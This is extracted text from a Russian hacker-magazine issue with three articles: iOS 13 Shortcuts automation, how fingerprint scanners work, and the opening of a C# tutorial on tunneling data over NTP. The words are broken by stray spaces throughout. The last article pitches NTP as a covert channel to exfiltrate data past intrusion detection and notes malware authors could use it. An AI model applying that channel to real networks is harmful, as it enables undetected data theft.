трек, а затем отправ ляешь SMS‐сооб щение с пожела нием доб рого дня сво‐ 
ему началь нику,  то всю эту рутину мож но выпол нять нажати ем одной кноп ки
или  голосо вой  коман дой.  При ложе ние  уме ет  работать  с  бра узе ром  Safari
и дру гими прог рамма ми  iOS через API, поэто му подоб ным же обра зом нет‐ 
рудно, нап ример, под гру зить раз ные плей‐лис ты в «Музыку» под нас тро ение,
уста новить или отклю чить будиль ник, при менить филь тр к набору фотог рафий
или  отпра вить  текущую  геопо зицию  в  ответ  на  сооб щение  дру зей  «Ну  где
тебя чер ти носят, пиво уже осты ло!». «Коман ды» с этим справ ляют ся без осо‐ 
бых проб лем.

Ин терфейс при ложе ния «Коман ды»

Ин терфейс «Команд», судя по все му, раз рабаты вали иноп ланетя не, которых
дер жат вза пер ти в под валах кам пуса Apple еще со вре мен ста рины Джоб са.
Но  пос ле  неболь шой  прак тики  при вык нуть  к  нему  все‐таки  мож но.  Логика
работы прог раммы на пер вый взгляд очень прос та: нуж но ука зать дей ствие,
которое ты хочешь выпол нить, а потом передать это дей ствие в при ложе ние
и обра ботать получен ный резуль тат. Нап ример, выб рав в спис ке при ложе ний
«Каль кулятор»,  мы  получим  перечень  воз можных  дей ствий  с  ним  —  «Сос‐ 
читать»,  «Округлить  чис ло»  и  так  далее.  Для  раз дела  «Интернет»  дей ствия
будут ины ми: «Показать веб‐стра ницу», «Открыть нес коль ко URL», при чем тут
соб раны вари анты не толь ко для Safari, но и для дру гих при ложе ний. Помеди‐ 
тиро вав  с  пол часа  на  этот  спи сок,  мож но  даже  отыс кать  в  нем  какую‐то
логику.

Ко ман ды для раз делов «Каль кулятор» и «Интернет»

Вклад ка «Авто мати зация» в ниж ней час ти окна «Команд» поз воля ет при вязать
выпол нение  коман ды  к  опре делен ному  усло вию.  Нап ример,  зап ланиро вать
на  выб ранное  вре мя  (наконец‐то  в  iOS  появил ся  ана лог  cron  и  «Пла ниров‐ 
щика задач», внед ренно го пар нями из Microsoft еще в Windows 98). Но сущес‐ 
тву ют и менее оче вид ные триг геры: при бытие в какую‐то геог рафичес кую точ‐ 
ку по дан ным GPS или убы тие из нее, перек лючение режима работы телефо‐ 
на  или  запуск  прог раммы.  Нап ример,  мож но  нас тро ить  авто мати чес кое
выпол нение коман ды при выходе из дома, при езде на работу или в момент,
ког да айфон перек люча ется в режим понижен ного энер гопот ребле ния.

Вы пол нение команд мож но авто мати зиро вать

Од на  из  самых  любопыт ных,  на  мой  взгляд,  фишек  «Команд»  —  наличие
в  арсе нале  прог раммы  прос того  набора  перек лючате лей,  с  помощью
которых  мож но  нас тра ивать  триг геры  еще  более  гиб ко.  Пря чут ся  они
под знач ком «Скрип ты» в раз деле «Логика управле ния» (кто най дет с пер вого
раза — тому кон фетка!). Здесь нам пред лага ется набор логичес ких опе рато‐ 
ров вида «если — ина че — закон чить дей ствие», «пов торить», «ожи дать воз‐ 
вра та».  То  есть  с  помощью  это го  инс тру мен та  мож но  написать  нес ложный
скрипт, отра баты вающий какой‐то при митив ный алго ритм. Негус то, конеч но,
но на без рыбье и чер вяк — Python.

«Коман ды»  поз воля ют  прог рамми ровать  дей ствия  не  толь ко  для  встро‐ 
енных при ложе ний  iOS 13, но и для некото рых сто рон них при ложе ний,  уста‐ 
нов ленных  на  тво ем  устрой стве.  Нап ример,  если  ты  исполь зуешь
какую‐нибудь  прог рамму  для  чте ния  лент  новос тей  в  фор мате  RSS,  мож но
соз дать коман ду, которая ста нет искать адрес RSS‐канала на откры том в Sa‐
fari сай те и при обна руже нии авто мати чес ки под пишет ся на него.

Го товую  коман ду  мож но  добавить  в  спи сок  внут ри  самого  при ложе ния
или вывес ти в виде ярлы ка на домаш ний экран iOS. И на этом мож но было бы
закон чить наш сегод няшний обзор, если бы статья пред назна чалась для пуб‐ 
ликации в жур нале «Мур зилка». Но пос коль ку наше изда ние называ ется нем‐ 
ного  ина че,  давай  пос мотрим,  как  это  работа ет  и  мож но  ли  вытащить
из  «Команд»  что‐нибудь  инте рес ное  и  недоку мен тирован ное,  а  потом
исполь зовать нес тандар тным обра зом.

ПОД КАПОТОМ
«Коман ды» работа ют с API опе раци онной сис темы, а имен но поз воля ют при‐ 
нимать на вход раз личные парамет ры и динами чес кий ввод. Эти парамет ры
могут  обра баты вать ся  при ложе ниями  iOS  в  фоновом  режиме,  то  есть
без  необ ходимос ти  запус ка,  а  резуль тат  переда ется  в  саму  прог рамму
«Коман ды»  или  в  Siri.  В  этом  и  кро ется  основное  отли чие  обновлен ных
«Команд»  от  механиз ма  ярлы ков  Siri,  реали зован ного  в  iOS  12, —  коман ды
боль ше  не  пред став ляют  собой  фик сирован ную  пос ледова тель ность  дей‐ 
ствий,  они  обре ли  некую  инте рак тивность.  То  есть  если  рань ше  интерфейс
вза имо дей ствия опе раци онной сис темы и при ложе ний стро ился на механиз‐ 
ме x‐callback‐url на уров не самой iOS, то теперь все дей ствия обра баты вают‐ 
ся при ложе нием «Коман ды» или Siri, в зависи мос ти от того, что это за коман‐ 
да. С точ ки зре ния безопас ности такой под ход более про дук тивен и пре дос‐ 
тавля ет как прог раммис там, так и поль зовате лю боль ше воз можнос тей.
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X‐callback‐url  —  это  схе ма  вза имо дей ствия  при‐ 
ложе ний в iOS, обме на информа цией и парамет‐ 
рами  меж ду  ними.  Под робную  спе цифи кацию
это го стан дарта мож но отыс кать  .здесь

Про фоновый режим я упо мянул нес прос та. Пояс ню этот механизм на прос‐ 
том  при мере.  Положим,  ты  решил  авто мати зиро вать  какие‐то  про цес сы
на сво ем iPhone или iPad с помощью язы ка JavaScript, для чего исполь зуешь
спе циаль ную прог рамму для iOS  . Эта прог рамма поз воля ет писать,
отла живать и запус кать сце нарии на JavaScript, а так же содер жит под робный
спра воч ник  по  язы ку  с  опи сани ем фун кций,  под держи ваемых  iOS.  Ко  все му
про чему, она бес плат на.

Scriptable

При ложе ние Scriptable поз воля ет авто мати зиро вать iOS c помощью
JavaScript

Итак,  ты под готовил нес коль ко полез ных скрип тов,  сох ранил их  в Scriptable,
пос ле чего решил соз дать коман ду для их выпол нения при нас тупле нии опре‐ 
делен ного усло вия, нап ример по рас писанию. Выб рав в прог рамме «Коман‐ 
ды»  вари ант  «Запус тить  скрипт»,  ты  получишь  спи сок  всех  сох ранен ных
в Scriptable скрип тов, в котором мож но ука зать нуж ный. При этом само при‐ 
ложе ние  Scriptable  не  запус кает ся  —  прог рамма  «Коман ды»  зап рашива ет
из  него  тре буемые  дан ные  в  фоновом  режиме.  Кро ме  того,  в  самом
интерфей се  окна  «Коман ды»  есть  спе циаль ный  перек лючатель,  с  помощью
которо го мож но нас тро ить заранее, как отра бота ет скрипт: в запус тившей ся
при его вызове прог рамме Scriptable или в фоновом режиме. Здо рово, прав‐ 
да?

«Коман ды» поз воля ют выб рать скрипт для запус ка, не запус кая сам
Scriptable
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Не оче вид ный,  но  инте рес ный  хак:  с  помощью
Scriptable  мож но  кас томизи ровать  сооб щения
об  ошиб ках  при  выпол нении  сце нари ев  Java‐
Script.  Это  доволь но  удоб но,  осо бен но  на  эта пе
отладки скрип тов.

На  уров не  поль зовате ля  «Коман ды»  пред став ляют  собой  набор  редак тиру‐ 
емых полей в кон тек сте фун кций при ложе ния, в которые мож но переда вать те
или иные дан ные — зна чения или перемен ные. Ког да коман да сра баты вает,
она получа ет дан ные из полей, обра баты вает их по выб ранно му поль зовате‐ 
лем  алго рит му  и  воз вра щает  резуль тат,  который  мож но  сох ранить
или  куда‐нибудь  перес лать. Оче вид но  так же,  что  «Коман ды»  спо соб ны  пол‐ 
ноцен но вза имо дей ство вать толь ко с теми при ложе ниями  iOS 13, раз работ‐ 
чики которых пре дус мотре ли такую воз можность.

«Коман ды» могут работать с раз личны ми типами дан ных — это чис ловые
зна чения, текст, URL, содер жимое буфера обме на, фай лы. Кро ме того, раз‐ 
работ чик может пре дус мотреть в сво ем при ложе нии под дер жку собс твен ных
типов  дан ных  и  парамет ров,  которые  спо соб на  обра ботать  прог рамма
«Коман ды».

При меча тель но,  что  в  iOS  12  ярлы ки  Siri  не  мог ли  пол ноцен но  исполь‐ 
зовать вво димые поль зовате лем дан ные: если голосо вая коман да тре бова ла
ввес ти что‐то с кла виату ры или выб рать опцию из спис ка, выпол нение коман‐ 
ды  пре рыва лось  и  запус калось  соот ветс тву ющее  при ложе ние.  При  этом
от поль зовате ля ожи далось нуж ное дей ствие или соот ветс тву ющая коман да,
отданная  голосом.  С  интегра цией  в  iOS  прог раммы  «Коман ды»  все  изме‐ 
нилось: если при выпол нении алго рит ма  тре бует ся вза имо дей ствие с поль‐ 
зовате лем, оно идет на уров не при ложе ния без пре рыва ния основно го сце‐ 
нария. А  сама прог рамма  «Коман ды» интегри рова на  с  язы ковой сре дой Siri
и под держи вает голосо вое управле ние. Нап ример, если коман да вызыва ется
в Siri и под разуме вает ввод тек ста, то этот текст мож но надик товать.

Та ким  обра зом,  фун кци ональ ность  «Команд»  отнюдь  не  огра ничи вает ся
набором инс тру мен тов самой этой прог раммы. Мож но сме ло ска зать, что он
не огра ничи вает ся вооб ще ничем: нич то не меша ет  тебе соб рать на  iPhone
нуж ный набор при ложе ний кон крет но под твои задачи, а потом брать дан ные
из одной прог раммы, пре обра зовы вать их в дру гом при ложе нии и переда вать
в третье с помощью инс тру мен тария «Команд».

Ска жем, мож но получить  текущие кур сы валют из интерне та, срав нить их
сто имость с помощью прог раммы, уме ющей работать с таким типом дан ных
(нап ример,  для  этой  цели  подой дет  каль кулятор  ),  а  потом  передать
резуль тат вычис лений в «Замет ки» или отпра вить их сооб щени ем в телег рам.
Мож но  нас тро ить  коман ду  таким  обра зом,  что  она  будет  авто мати чес ки
обновлять кур сы валют при каж дом под клю чении к интерне ту или ежед невно
в задан ное вре мя.

PCalc

Ус тановив на телефон FTP‐кли ент, ты можешь авто мати зиро вать заг рузку
фай лов  на  сер вер,  прос мотр  содер жимого  сер верной  пап ки,  переза пись
фай лов при их изме нении и мно гое дру гое. Мож но получать дан ные о погоде
в  тво ем  текущем  мес тополо жении  или  в  задан ной  геог рафичес кой  точ ке,
копиро вать их в буфер обме на и даль ше делать с ними что‐нибудь полез ное.
При чем  геог рафичес кую  точ ку,  для  которой  ты опре деля ешь погоду,  необя‐ 
затель но вво дить вруч ную — ее мож но получить, ска жем, в качес тве вход ного
парамет ра  из  события,  записан ного  в  «Кален даре». И  это  толь ко  пара оче‐ 
вид ных при меров. Все осталь ное огра ниче но толь ко тво ей фан тази ей.

ЛАЙФХАК
Нес мотря на то что при ложе ние «Коман ды» исполь зует собс твен ную иде оло‐ 
гию выпол нения задан ной поль зовате лем пос ледова тель нос ти дей ствий, ста‐ 
рые доб рые прин ципы x‐callback‐url никуда не делись и по‐преж нему в пол‐ 
ной мере  под держи вают ся  при ложе нием. На  эту  осо бен ность  обра тил  вни‐ 
мание  тех ничес кий  спе циалист  и  иссле дова тель  iOS Федери ко Витич чи. Он
выяс нил,  что  с  помощью  спе циаль ных  URL  мож но  обра щать ся  не  толь ко
к интернет‐ресур сам, но и к сис темно му при ложе нию «Нас трой ки», точ нее —
к каж дому отдель ному экра ну и даже опре делен ным фун кци ям.

Смысл  это го  трю ка  дос таточ но  прост.  Некото рые  эле мен ты  управле ния
iOS зарыты в при ложе нии «Нас трой ки» доволь но глу боко, и доб рать ся до них
мож но, лишь совер шив дли тель ное путешес твие по нес коль ким сме няющим
друг  дру га  экра нам.  А  мож но  пос тупить  про ще:  соз дать  в  при ложе нии
«Коман ды» спе циаль ный ярлык с адре сом нуж ной тебе нас трой ки и сох ранить
ее в виде знач ка на экра не телефо на. В любой момент ты смо жешь получить
к ней дос туп одним касани ем. Удоб но? Да не то сло во!

У  Apple  отсутс тву ет  докумен тация  на  этот  счет,  поэто му  Витич чи,  по  его
сло вам,  пот ратил  нес коль ко  дней  на  под бор  соот ветс тву ющих  парамет ров
вруч ную методом проб и оши бок. Мы не ста нем пов торять этот экспе римент
и  вос поль зуем ся  его  наработ ками —  с  огромной  бла годар ностью  к  иссле‐ 
дова телю.

Итак, все коман ды, откры вающие дос туп к при ложе нию «Нас трой ки» и его
ком понен там,  начина ются  с  пре фик са  .  Давай  раз берем  прос‐ 
той  при мер  такой  коман ды.  Я  очень  час то  поль зуюсь  на  сво ем  айфо не
режимом модема — иног да нуж но раз дать интернет навига тору в авто моби‐ 
ле,  что бы  он  показал  мне  проб ки  и  дорож ную  обста нов ку,  или  ноут буку,
на котором я работаю вда ли от дома. Но что бы доб рать ся до этой фун кции,
необ ходимо  запус тить  прог рамму  «Нас трой ки»  и  перей ти  в  раз дел  «Режим
модема», то есть совер шить два дей ствия. Соз дадим ярлык, который откро ет
эту нас трой ку в одно касание.

prefs:root=

За пус ти «Коман ды» и наж ми в окне прог раммы на кноп ку «Соз дать коман‐ 
ду». Наж ми  «Добавить  дей ствие»,  а  затем  кос нись  знач ка  «Интернет». Про‐ 
мотай спи сок вниз и выбери в нем пункт «URL‐адрес». В панели «URL‐адрес»
наж ми на поле    и  вве ди вмес то это го стро ку 

.  Мы  соз дали  перемен ную,  хра нящую  вмес то  URL‐адре са
коман ду нас тро ек, — теперь нуж но передать эту перемен ную в при ложе ние,
которое ее обра бота ет.

apple.com prefs:root=INTER‐
NET_TETHERING

Наж ми  кноп ку  +  ниже,  сно ва  выбери  «Интернет»,  в  открыв шемся  спис ке
оты щи раз дел Safari и выбери в нем «Открыть нес коль ко URL». Эта коман да
авто мати чес ки под цепит адрес из пре дыду щей стро ки, ничего менять не нуж‐ 
но. Уди витель но, но факт: если мы прос то вобь ем стро ку 

  в  коман ду  Safari  →  «Открыть  нес коль ко  URL»,  сис тема
не смо жет ее пра виль но обра ботать.

prefs:root=INTER‐
NET_TETHERING

Наж ми  «Далее»  и  вве ди  про изволь ное  наз вание  коман ды,  нап ример
,  —  одно имен ная  плит ка  появит ся  в  окне  при ложе ния  «Коман ды».

Остался пос ледний шаг: наж ми и  удер живай плит ку,  выбери в появив шемся
кон текс тном  меню  пункт  «Под робнее»,  а  потом  наж ми  ссыл ку  «Добавить
на  экран  „Домой“»  и  под твер ди дей ствие нажати ем на  над пись  «Добавить».
Зна чок    появит ся  сре ди  дру гих  знач ков  при ложе ний  на  экра не  iOS.
Теперь ты можешь открыть нас трой ку режима модема одним касани ем.

Hotspot

Hotspot

Соз даем коман ду для быс тро го дос тупа к нас трой кам режима модема

Под  этой  стать ей  име ется  ссыл ка  на  веб‐стра ницу,  в  которой  соб раны  все
«вол шебные  URL»,  обна ружен ные  Федери ко  Витич чи.  В  этом  спис ке  ты
можешь  най ти  те  коман ды  нас трой ки  iOS,  которые  тебе  нуж ны,  и  соз дать
для каж дой из них зна чок быс тро го запус ка.

ВЫВОДЫ
Воз можнос ти при ложе ния «Коман ды» в iOS 13 пока еще до кон ца не изу чены,
но уже сей час понят но, что они весь ма широки: с его помощью мож но соз‐ 
давать  про изволь ные  пос ледова тель нос ти  дей ствий  с  прог рамма ми,  обра‐ 
баты вать  дан ные,  а  так же  запус кать  эти  алго рит мы  по  рас писанию  или  в
зависи мос ти от усло вий. С помощью JavaScript или Python мож но еще боль‐ 
ше авто мати зиро вать работу в iOS 13, о чем мы обя затель но рас ска жем под‐ 
робнее в наших сле дующих стать ях.

Да же в базовой кон фигура ции «Коман ды» поз воля ют про делы вать с айфо‐ 
ном  или  айпа дом мно жес тво  инте рес ных  трю ков.  Если  ты  при дума ешь  нет‐ 
риви аль ное  при мене ние  это му  при ложе нию,  не  забудь  поделить ся  сво им
опы том с нашими читате лями!

WWW

, обна ружен ные Федери ‐
ко Витич чи

•Все «вол шебные URL»

mailto:valentin@holmogorov.ru
http://x-callback-url.com/
https://apps.apple.com/us/app/id1405459188
https://apps.apple.com/us/app/id284666222
https://xakep.ru/wp-content/uploads/2019/commands.htm
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ТРЮКИ

Боль ше  ста  лет  назад  челове чес тво  научи лось  уста нав‐ 
ливать  лич ность  по  отпе чат кам  паль цев.  Теперь  эта  тех‐ 
нология  исполь зует ся  в  каж дом  вто ром  телефо не  и  зна‐ 
читель но  повыша ет  уро вень  безопас ности  в  срав нении
с ПИН‐кодами. Но  как  имен но  работа ют  эти  ска неры? Мне
ста ло инте рес но, и, разоб равшись, рас ска жу об этом и тебе.

ТИПЫ СКАНЕРОВ ОТПЕЧАТКА ПАЛЬЦА
Су щес тву ет  нес коль ко  раз ных  спо собов  получить  изоб ражение  отпе чат ка
паль ца. Давай раз берем их по поряд ку.

Оп тичес кий ска нер
Этот вид сен сора работа ет по прос тому прин ципу: есть фоточувс тви тель ная
мат рица  (в  боль шинс тве  слу чаев  это  ,  которая  исполь зует ся  во  мно гих
сов ремен ных  камерах)  и  нес коль ко  неболь ших  све тоиз лучате лей,  которые
под све чива ют повер хность паль ца.

ПЗС

Свет отра жает ся от  папил лярно го  узо ра,  и  в  зависи мос ти от  того,  попал
луч све та на гре бень или на впа дину, интенсив ность его варь иру ется.

Внеш нее  стек ло  такого  ска нера  тон кое,  что бы  выз вать  эффект 
. Из‐за это го эффекта свет в мес тах кон‐ 

такта кожи со стек лом — на греб нях — пол ностью отра жает ся в фотосен сор.

пол ного
нарушен ного внут ренне го отра жения

Схе ма работы опти чес кого ска нера

Ты можешь  наб людать  этот феномен  с  помощью  ста кана  с  водой:  при ложи
палец с одной сто роны стек ла и пос мотри с дру гой — ты чет ко уви дишь свой
отпе чаток.

Вот и весь феномен

Дат чики такого типа весь ма гро моз дкие: нуж на боль шая камера и малень кий
излу чатель  све та,  —  а  поэто му  они  поч ти  не  при меня ются.  Есть  и  дру гая
проб лема:  свет может  оди нако во  отра жать ся  от  кожи  и  дру гого матери ала,
а потому под делать отпе чаток паль ца ста новит ся слиш ком лег ко.

По луп ровод никовые ска неры
В таких ска нерах исполь зуют ся полуп ровод ники, которые меня ют свои свой‐ 
ства при касании. Они реаги руют на раз личные парамет ры: теп ло, про води‐ 
мость, дав ление.

 реаги руют на изме нение про води мос ти полуп‐ 
ровод ника в зависи мос ти от тем перату ры. Воз дух и кожа с раз ной ско ростью
переда ют  теп ло, дат чики фик сиру ют это, и мы получа ем изоб ражение отпе‐ 
чат ка.

Тер мичес кие сен соры

 реаги руют на дав ление каж дого малень кого учас тка
кожи на повер хность про вод ника,  регис три руют раз ницу  в  дав лении  впа дин
и греб ней. Но такие ска неры очень хруп кие и поэто му прак тичес ки бес полез‐ 
ны: любое излишнее дав ление на повер хность спо соб но пол ностью вывес ти
из строя часть сен соров, делая весь ска нер нерабо тос пособ ным.

Сен соры дав ления

  исполь зуют  дат чики  КМОП,  которые  выс тупа ют
в роли малень ких кон денса торов, что бы про пус тить неболь шой заряд через
повер хность паль ца. Спо соб ность воз духа и кожи изо лиро вать элек три чес кий
ток  раз лича ется:  чем  боль ше  емкость  кон денса тора,  тем  боль ше  воз духа
попало меж ду сен сором и кожей.

Ем кос тные  сен соры

Пос ледний  метод  —  самый  уни вер саль ный:  такой  сен сор  ком пактен
и вме щает в себя до сорока тысяч дат чиков на квад ратный сан тиметр. Имен‐ 
но  этот  тип  сен соров  уста нов лен  в  боль шинс тве  устрой ств  Apple,  Xiaomi,
Samsung и дру гих лидеров мобиль ного рын ка.

И  пусть  ска неры  такого  типа  обма нуть  слож нее,  чем  опти чес кие,  воз‐ 
можность соз дать муляж все еще оста ется:  не  толь ко  кожа обла дает  все ми
эффекта ми, на которые полага ются эти ска неры. Под делка такого уров ня уже
на порядок  слож нее:  необ ходима  тон кая работа  с матери ала ми,  качес твен‐ 
ный отпе чаток и неболь шая лабора тория.

Уль траз вуковой ска нер
Уль траз вуковые сен соры исполь зуют точ ные часы и схо жий с эхо лотом прин‐ 
цип:  излу чатель  испуска ет  высоко час тотный  импульс,  который  отра жает ся
от  повер хнос ти  паль ца  и  регис три рует ся  дат чиком.  Сиг нал,  который  попал
в область впа дины, про ходит боль ший путь, и, соот ветс твен но, ему тре бует ся
боль ше вре мени, что бы вер нуть ся, чем сиг налу, который отра зил ся от греб‐ 
ня.

Та кое устрой ство сен сора поз воля ет получить чет кое изоб ражение папил‐ 
лярно го узо ра,  которое учи тыва ет не толь ко сам факт касания, но и  глу бину
каж дого отдель ного учас тка кожи. Это поз воля ет изоб ражению быть еще точ‐ 
нее, хотя на ска ниро вание ухо дит боль ше вре мени, а себес тоимость устрой‐ 
ства выше.

Од нако, кро ме высокой точ ности, у уль траз вуковых ска неров есть дру гое
ощу тимое кон курен тное пре иму щес тво, которое зас тавля ет про изво дите лей
все  боль ше  вкла дывать ся  в  их  упро щение  и  уде шев ление:  такие  сен соры
не  тре буют отдель ной повер хнос ти  и могут  работать  сквозь  любой плот ный
матери ал.  Таким  обра зом,  интегри ровать  ска нер  отпе чат ка  паль ца  пря мо
в экран ста новит ся не толь ко воз можно, но и отно ситель но прос то.

Про изво дите ли  смар тфо нов  не  толь ко  экспе римен тиру ют  с  этой  тех‐ 
нологи ей  в  лабора тори ях,  ее  уже  успе ли  реали зовать  в  некото рых  самых
новых  моделях:  у  Samsung  S10  Plus,  Huawei  P30  Pro,  One  Plus  7,  Xiaomi  Mi
9 ска неры встро ены пря мо в экран.

АНАЛИЗ И СРАВНЕНИЕ ОТПЕЧАТКОВ
От печаток сос тоит из набора пов торя ющих ся шаб лонов — форм. Чаще все го
ана лиз отпе чат ка про водит ся имен но на их осно ве.

Ха рак терис тики папил лярно го узо ра
Каж дую  харак терис тику  мож но  отнести  к  одной  из  двух  групп:  гло баль ные,
которые  мож но  уви деть  нево ору жен ным  гла зом,  и  локаль ные,  которые  зак‐ 
люча ются в осо бен ностях струк туры каж дой отдель ной папил лярной линии.

,   и   — это самые рас простра нен ные гло баль ные узо‐ 
ры. Ты можешь даже поп робовать пос мотреть на свой палец и най ти их, ведь
эти приз наки есть у каж дого челове ка. Но они в целом не уни каль ны, их одних
недос таточ но  для  точ ной  иден тифика ции.  Зато  эти  узо ры  исполь зуют ся
для пред варитель ного отсе ива ния лиш них записей в боль ших базах отпе чат‐ 
ков, нап ример в МВД.

Ар ка пет ля за виток

Ло каль ные приз наки — минуции — нам ного более инте рес ны для ана лиза.
При чем важ но не толь ко какие они, но и где находят ся на изоб ражении. Сами
по  себе  минуции  пред став ляют  собой  прос тые  геомет ричес кие  фор мы,
которые мож но обна ружить на изоб ражении перебо ром.

Есть два вида локаль ных  харак терис тик:    и    (в
медици не — бифур кации). Их мож но най ти на готовом отпе чат ке, а вот раз‐ 
гля деть без лупы на собс твен ном паль це прак тичес ки невоз можно.

окон чания раз вет вле ния

Так выг лядит окон чание папил лярной линии

А так — раз вет вле ние

Об работ ка изоб ражения
Сни мок дела ют чер но‐белым, а затем умень шают до такого раз мера, что бы
каж дая  папил лярная  линия  занима ла  в  ширину  лишь  один  пик сель.  Пос ле
таких  пре обра зова ний  ана лизи ровать  отпе чаток  ста новит ся  про ще  и  удоб‐ 
нее.

Изоб ражение отпе чат ка до и пос ле пер вичной обра бот ки

Сле дующий шаг —  раз бива ем  изоб ражения  на  отдель ные  бло ки  раз мером
три на три пик селя, в цен тре дол жен быть зак рашен ный пик сель папил лярной
линии. Если вок руг это го пик селя находит ся ров но один или три дру гих таких
же,  то  этот  блок  счи тает ся  харак терис тикой,  которая  сох раня ется  в  памяти
вмес те с типом приз нака и его коор дината ми.

Так выг лядят обра ботан ные бло ки раз вет вле ний

В слу чае если блок при ходит ся на окон чание папил лярной линии, эта линия
дол жна  как‐то  попасть  в  центр  бло ка,  но  не  дол жна  из  него  уйти.  Если  же
блок —  это  раз вет вле ние,  то  в  центр  бло ка  заходит  одна  линия,  а  выходит
из него две — сум марно три линии схо дят ся в одной точ ке.

Дан ные  каж дого  такого  бло ка  вмес те  с  типом  локаль ного  узо ра  записы‐ 
вают ся в память и затем исполь зуют ся для срав нения каж дый раз при авто‐ 
риза ции.

Срав нение отпе чат ков
Для  срав нения  необ ходимо  сно ва  про извести  ска ниро вание,  так  же  обра‐ 
ботать  изоб ражение  и  раз бить  его  на  бло ки.  Такое  раз биение  поз воля ет
срав нивать  бло ки  в  том  слу чае,  если  положе ние  паль ца  изме нилось  меж ду
изме рени ями.

Са мо  срав нение  бло ков  не  так  три виаль но,  как  хотелось  бы:  во‐пер вых,
необ ходимо устра нить пос ледс твия сме щения и поворо та паль ца. Чаще все‐ 
го  это  дос тига ется  перебо ром  (хотя  некото рые  ска неры  так  не  дела ют,
а  прос то  игно риру ют  слиш ком  силь но  повер нутые  отпе чат ки).  Во‐вто рых,
бло ки  начина ют  срав нивать ся  попар но,  и  прог рамма  пыта ется  най ти  два
одно тип ных бло ка в одном и том же мес те.

До ля  таких  най ден ных  пар  от  сум марно го  количес тва  сущес тву ющих
харак терис тик и слу жит сво еоб разной «уве рен ностью» алго рит ма срав нения
в том, что отпе чат ки при над лежат одно му и тому же челове ку. Ты уди вишь ся,
но для одно го челове ка эта харак терис тика сос тавля ет все го 45–55%.

Так про исхо дит потому, что качес тво отпе чат ка далеко не иде аль но. Из‐за
заг рязне ний  или  неточ но  при ложен ного  паль ца  для  ана лиза  могут  быть
недос тупны целые учас тки изоб ражения. И, нес мотря на это, в боль шинс тве
слу чаев даже порога 40% для ска нера дос таточ но, что бы безоши боч но опре‐ 
делять челове ка.

ЗАЩИТА ДАННЫХ ОТПЕЧАТКА
Как  выг лядят  «паль чики»,  сох ранен ные  в  памяти?  Пос ле  ана лиза  они  прев‐ 
раща ются в опи сания положе ний и типов бло ков. Даль ше эти дан ные обыч но
шиф руют ся или сох раня ются в спе циаль ной внут ренней памяти (защища емой
опе раци онной  сис темой)  либо  в  отдель ном  чипе  для  хра нения  клю чей
и  паролей.  Обыч но  в  качес тве  алго рит ма  шиф рования  исполь зует ся  AES
с дли ной клю ча боль ше 128 бит, что обес печива ет пол ную сох ранность наших
биомет ричес ких дан ных.

В устрой ствах Apple, нап ример, этот ключ хра нит ся в сис теме Secure En‐
clave, которая рас полага ется на отдель ном чипе. Про изво дите ли смар тфо нов
на Android реша ют эту проб лему по‐раз ному — час то выбор пада ет на чипы
безопас ного выпол нения Qualcomm  (нап ример, Qualcomm Trusted Execution
Environment — см.  ) или  .PDF ARM TrustZone

ЗАКЛЮЧЕНИЕ
Как видишь, в самом ска нере отпе чат ка паль ца нет ничего слож ного: каж дый
механизм,  который  здесь  исполь зует ся,  нель зя  наз вать  боль шим  про рывом
в области физики или информа тики. Одна ко такая удоб ная ком бинация всех
этих  малень ких  зап частей  и  алго рит мов  в  одно  устрой ство  поз воля ет  нам
с тобой тра тить мень ше вре мени на мелочи вро де набора пароля.

mailto:kireevmp@yandex.ru
https://ru.wikipedia.org/wiki/%D0%9F%D0%97%D0%A1-%D0%BC%D0%B0%D1%82%D1%80%D0%B8%D1%86%D0%B0
https://en.wikipedia.org/wiki/Total_internal_reflection#Frustrated_total_internal_reflection
https://www.qualcomm.com/media/documents/files/guard-your-data-with-the-qualcomm-snapdragon-mobile-platform.pdf
https://developer.arm.com/ip-products/security-ip/trustzone
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КОДИНГ

Лю бая  воз можность  незамет но  обра щать ся  к  внеш нему
миру  с  хос та  внут ри  защищен ной  сети  —  дра гоцен ная
наход ка  для  пен тесте ра.  Один  из  пос ледних  дос тупных
путей — это NTP, про токол син хро низа ции вре мени на часах.
Его тра фик раз решен поч ти вез де, так что он будет отличным
тран спор том для дан ных. Я покажу, как реали зовать базовые
кли ент и сер вер, которые будут исполь зовать этот феномен,
а кодить мы будем на C#.

Па ру месяцев назад я гулял по заг нива ющей Гер мании, где по каж дому удоб‐ 
ному и не очень поводу стро ят тун нель. И тут мне приш ла идея: а не сде лать
ли свой тун нель? В качес тве про токо ла я выб рал NTP — его исполь зование
не тре бует спе циаль ных при виле гий, сис темы защиты не видят в нем никаких
проб лем,  ведь  там  по  опре деле нию быть  ничего  не может,  кро ме  текуще го
вре мени,  а  его фор мат  прос той  как  пал ка,  что  поз воля ет  нам исполь зовать
его без необ ходимос ти закапы вать ся в докумен тацию.

Этот  трюк  могут  исполь зовать  и  вирусо писа тели  —  для  вывода  дан ных
из заражен ных сис тем, при чем незамет но для стан дар тных средств защиты.

WARNING

Соз дание и рас простра нение вре донос ных прог‐ 
рамм  кара ется  по    УК  РФ.  Ни  автор,
ни  редак ция  «Хакера»  не  несут  ответс твен ности
ни  за  какой  вред,  при несен ный  исполь зовани ем
матери алов этой статьи.
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ЧТО ТАКОЕ NTP
NTP  (Network  Time  Protocol)  —  про токол,  который  работа ет  поверх  UDP
и исполь зует ся для син хро низа ции локаль ных часов с часами на сер вере точ‐ 
ного  вре мени. При  работе  в  интерне те  точ ность  син хро низа ции  сос тавля ет
до  10  мс,  а  в  локаль ных  сетях —  до  0,2  мс.  При  этом  NTP  нечувс тви телен
к задер жкам канала.

Ак туаль ная  вер сия  про токо ла  ( ) —  4,  но  мы  будем
исполь зовать вер сию 3, которой для наших целей пре дос таточ но.

по  дан ным Википе дии

Для мак сималь ной точ ности служ ба обновле ния вре мени пос тоян но дол‐ 
жна  работать  в  фоновом  режиме,  регуляр но  отправ ляя  зап росы  на  сер вер
точ ного  вре мени,  то  есть  генери руя  доволь но  мно го  тра фика.  Это  нам
на  руку,  так  как  из‐за  этой  осо бен ности  IDS  дав но  не  обра щают  вни мания
на тра фик NTP.

За син хро низа цию в Windows отве чает служ ба W32Time, а в Linux — демон
ntpd  или  chronyd.  Так же  сущес тву ет  более  прос тая  реали зация  это го  про‐ 
токо ла,  извес тная  как  SNTP  (Simple  Network  Time  Protocol) —  прос той  про‐ 
токол сетево го вре мени. При меня ют его во встра иваемых сис темах и устрой‐ 
ствах, которые не тре буют высокой точ ности, как, нап ример, сис темы умно го
дома.

СТРУКТУРА ПАКЕТА NTP
Струк тура пакета NTP опи сана в RFC   (v1),   (v2),   (v3) и   (v4).
